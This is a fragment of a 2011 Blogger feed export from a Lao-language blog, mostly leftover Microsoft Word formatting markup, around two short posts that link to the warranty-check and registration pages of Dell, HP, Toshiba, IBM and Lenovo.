name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Calibri","sans-serif";  mso-bidi-font-family:"Cordia New";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຊັກ​ປະ​ກັນ&lt;/span&gt; Warranty DELL &lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ມື້​ໝົດ​ອາ​ຍຸ &lt;a href="http://topitarcade.igetweb.com/index.php?mo=3&amp;amp;art=453874"&gt;DatpinClick&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://topitarcade.igetweb.com/articles/573596/http://www13.itrc.hp.com/service/ewarranty/warrantyResults.do?admit=109447627+1295860596125+28353475.html"&gt;&lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;HP-Cpmpq&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://topitarcade.igetweb.com/articles/573604/http://www.toshibavip.com/index.php?topgroupid=1&amp;amp;subgroupid=50&amp;amp;groupid=43.html"&gt;&lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;Toshiba&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://topitarcade.igetweb.com/articles/573613/http://www-947.ibm.com/support/entry/portal/wlup.html"&gt;&lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;IBM&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;&lt;a href="http://topitarcade.igetweb.com/articles/573609/http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=LOOK-WARNTY#sw.html"&gt;Lenovo&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Credit by &lt;a href="http://topitarcade.igetweb.com/index.php?mo=3&amp;amp;art=235345"&gt;A&lt;/a&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-4578665115434529486?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/4578665115434529486/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=4578665115434529486&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/4578665115434529486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/4578665115434529486'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/02/datpin-valantee-checker.html' title='Datpin Valantee checker'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-2016185611379823185</id><published>2011-02-15T07:44:00.000-08:00</published><updated>2011-02-15T07:49:32.568-08:00</updated><title type='text'>Datpin support link</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:officedocumentsettings&gt;   &lt;o:allowpng/&gt;  &lt;/o:OfficeDocumentSettings&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;JA&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;TH&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:enableopentypekerning/&gt;    &lt;w:dontflipmirrorindents/&gt;    &lt;w:overridetablestylehps/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin-top:0in;  mso-para-margin-right:0in;  mso-para-margin-bottom:10.0pt;  mso-para-margin-left:0in;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  mso-bidi-font-size:14.0pt;  font-family:"Calibri","sans-serif";  mso-ascii-font-family:Calibri;  mso-ascii-theme-font:minor-latin;  mso-hansi-font-family:Calibri;  mso-hansi-theme-font:minor-latin;  mso-bidi-font-family:"Cordia New";  mso-bidi-theme-font:minor-bidi;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;DokChampa&amp;quot;,&amp;quot;sans-serif&amp;quot;; color: black;" lang="LAO"&gt;ວິທີ​ເຂົ້າໄປ &lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;; color: black;"&gt;Register Warranty Dell &lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;DokChampa&amp;quot;,&amp;quot;sans-serif&amp;quot;; color: black;" lang="LAO"&gt;ດ້ວຍ​ຕົນເອງ&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;a href="http://supportapj.dell.com/support/topics/topic.aspx/ap/shared/support/contactus/en/retail_product_reg_landing?c=ap&amp;amp;l=en&amp;amp;s=gen"&gt;1.Click&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:officedocumentsettings&gt;   &lt;o:allowpng/&gt;  &lt;/o:OfficeDocumentSettings&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;JA&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;TH&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:enableopentypekerning/&gt;    &lt;w:dontflipmirrorindents/&gt;    &lt;w:overridetablestylehps/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" 